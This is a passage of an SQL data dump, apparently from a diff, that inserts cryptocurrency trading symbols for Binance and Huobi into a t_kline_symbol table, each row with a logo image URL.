'PEOPLE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/constitutiondao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (278, 'binance', 'ZEC', 'ZEC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (279, 'binance', 'ENJ', 'ENJ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enjin-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (280, 'binance', 'SUI', 'SUI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sui.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (281, 'binance', 'SSV', 'SSV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ssv-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (282, 'binance', 'LDO', 'LDO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lido-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (283, 'binance', 'RVN', 'RVN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ravencoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (284, 'binance', 'NEO', 'NEO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (285, 'binance', 'ARB', 'ARB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbitrum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (286, 'binance', 'IOTA', 'IOTA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iota.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (287, 'binance', 'CVC', 'CVC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/civic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (288, 'binance', 'MASK', 'MASK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mask-network.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (289, 'binance', 'NMR', 'NMR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/numeraire.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (290, 'binance', 'FET', 'FET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fetch-ai.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (291, 'binance', 'XRP', 'XRP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (292, 'binance', 'KEY', 'KEY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/selfkey.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (293, 'binance', 'MAGIC', 'MAGIC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/magic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (294, 'binance', 'LPT', 'LPT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/livepeer.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (295, 'binance', 'IMX', 'IMX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/immutablex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (296, 'binance', 'IOTX', 'IOTX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iotex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (297, 'binance', 'SKL', 'SKL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skale.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (298, 'binance', 'DENT', 'DENT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dent.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (299, 'binance', 'BCH', 'BCH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-cash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (300, 'binance', 'REN', 'REN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/republic-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (301, 'binance', 'OCEAN', 'OCEAN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/765e20e91cad0d6a15c3f99ffdc4242e.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (302, 'binance', 'AR', 'AR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arweave.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (303, 'binance', 'WLD', 'WLD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/walk-dogs.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (304, 'binance', 'BAND', 'BAND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/band-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (305, 'binance', 'ONE', 'ONE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/harmony.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (306, 'binance', 'BAT', 'BAT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/basic-attention-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (307, 'binance', '1000XEC', '1000XEC', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (308, 'binance', 'STORJ', 'STORJ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storj.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (309, 'binance', 'HNT', 'HNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/heliumhnt.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (310, 'binance', 'JOE', 'JOE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joe.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (311, 'binance', 'MANA', 'MANA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentraland.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (312, 'binance', 'SRM', 'SRM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/serum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (313, 'binance', 'MAV', 'MAV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/massive-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (314, 'binance', 'SUSHI', 'SUSHI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sushi.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (315, 'binance', 'FXS', 'FXS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/frax-share.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (316, 'binance', 'ROSE', 'ROSE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oasis-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (317, 'binance', 'BAKE', 'BAKE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bakerytoken.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (318, 'binance', 'SPELL', 'SPELL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spell-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (319, 'binance', 'SXP', 'SXP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swipe.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (320, 'binance', 'AXS', 'AXS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axie-infinity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (321, 'binance', '1000FLOKI', '1000FLOKI', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (322, 'binance', 'ALICE', 'ALICE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/my-neighbor-alice.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (323, 'binance', 'PENDLE', 'PENDLE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pendle.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (324, 'binance', 'THETA', 'THETA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/theta-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (325, 'binance', 'OP', 'OP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/optimism.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (326, 'binance', 'LUNA2', 'LUNA2', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (327, 'binance', 'FLOW', 'FLOW', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flow.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (328, 'binance', 'HOT', 'HOT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/holo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (329, 'binance', 'RLC', 'RLC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rlc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (330, 'binance', 'XMR', 'XMR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monero.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (331, 'binance', 'FLM', 'FLM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flamingo-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (332, 'binance', 'MINA', 'MINA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mina-protocoliou.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (333, 'binance', 'UNFI', 'UNFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unifi-protocol-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (334, 'binance', 'BTS', 'BTS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitshares.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (335, 'binance', 'ALPHA', 'ALPHA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (336, 'binance', 'CVX', 'CVX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/convex-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (337, 'binance', 'RNDR', 'RNDR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/render-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (338, 'binance', 'WOO', 'WOO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wootrade-network.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (339, 'binance', 'BLUR', 'BLUR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blur-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (340, 'binance', 'FIL', 'FIL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/filecoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (341, 'binance', 'APE', 'APE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apecoin-ape.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (342, 'binance', 'HIGH', 'HIGH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/highstreet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (343, 'binance', 'MATIC', 'MATIC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (344, 'binance', 'SC', 'SC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/siacoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (345, 'binance', 'XVS', 'XVS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/venus.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (346, 'binance', 'XLM', 'XLM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/stellar.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (347, 'binance', 'ICX', 'ICX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icon.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (348, 'binance', 'T', 'T', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/threshold-network-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (349, 'binance', 'SAND', 'SAND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-sandbox.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (350, 'binance', 'DEFI', 'DEFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/6fff9d7f15b84ece1cfd29c034824645.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (351, 'binance', 'API3', 'API3', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/api3.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (352, 'binance', 'ACH', 'ACH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alchemy-pay.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (353, 'binance', 'TOMO', 'TOMO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tomochain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (354, 'binance', 'COMBO', 'COMBO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/furucombo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (355, 'binance', 'EOS', 'EOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (356, 'binance', 'C98', 'C98', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coin98.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (357, 'binance', 'DASH', 'DASH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (358, 'binance', 'GRT', 'GRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-graph.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (359, 'binance', 'WAVES', 'WAVES', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waves.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (360, 'binance', 'CRV', 'CRV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/curve.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (361, 'binance', 'XVG', 'XVG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verge.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (362, 'binance', 'ZIL', 'ZIL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zilliqa.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (363, 'binance', 'OMG', 'OMG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/omisego.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (364, 'binance', 'CHZ', 'CHZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chiliz.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (365, 'binance', 'AUDIO', 'AUDIO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/audius.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (366, 'binance', 'ICP', 'ICP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dfn.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (367, 'binance', 'OGN', 'OGN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origin-protocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (368, 'binance', 'UMA', 'UMA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uma.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (369, 'binance', 'INJ', 'INJ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/injective-protocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (370, 'binance', 'RUNE', 'RUNE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thorchain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (371, 'binance', 'BLUEBIRD', 'BLUEBIRD', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (372, 'binance', 'XTZ', 'XTZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tezos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (373, 'binance', 'CTK', 'CTK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/temp/64c45531-6b6a-4f37-81a6-0d3cff6caf12___76-TJuSm_400x400.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (374, 'binance', 'TRB', 'TRB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tellor.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (375, 'binance', 'MKR', 'MKR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maker.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (376, 'binance', 'CKB', 'CKB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/nervos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (377, 'binance', 'CHR', 'CHR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/d9875ce3cc365821560227f4e48969a6.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (378, 'binance', 'EDU', 'EDU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/open-campus.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (379, 'binance', 'RSR', 'RSR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/e405995612c6a280603e0e9187aa6190.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (380, 'binance', 'ZRX', 'ZRX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/0x.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (381, 'binance', 'ANKR', 'ANKR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ankr-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (382, 'binance', 'HFT', 'HFT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investment/hashflow-rect5l8WOfEj9YvnU.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (383, 'binance', 'LINA', 'LINA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linear.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (384, 'binance', 'CFX', 'CFX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/conflux-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (385, 'binance', 'ONT', 'ONT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ontology.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (386, 'binance', 'ATA', 'ATA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/automata.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (387, 'binance', 'DODO', 'DODO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dodo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (388, 'binance', 'FOOTBALL', 'FOOTBALL', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (389, 'huobi', 'usdt', 'USDT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tether.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (390, 'huobi', 'ht', 'HT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/huobi-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (391, 'huobi', 'lsk', 'LSK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lisk.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (392, 'huobi', 'btg', 'BTG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-gold.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (393, 'huobi', 'hc', 'HC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/hc.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (394, 'huobi', 'dcr', 'DCR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decred.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (395, 'huobi', 'steem', 'STEEM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/steem.png', NULL, NULL, NULL, NULL, NULL, 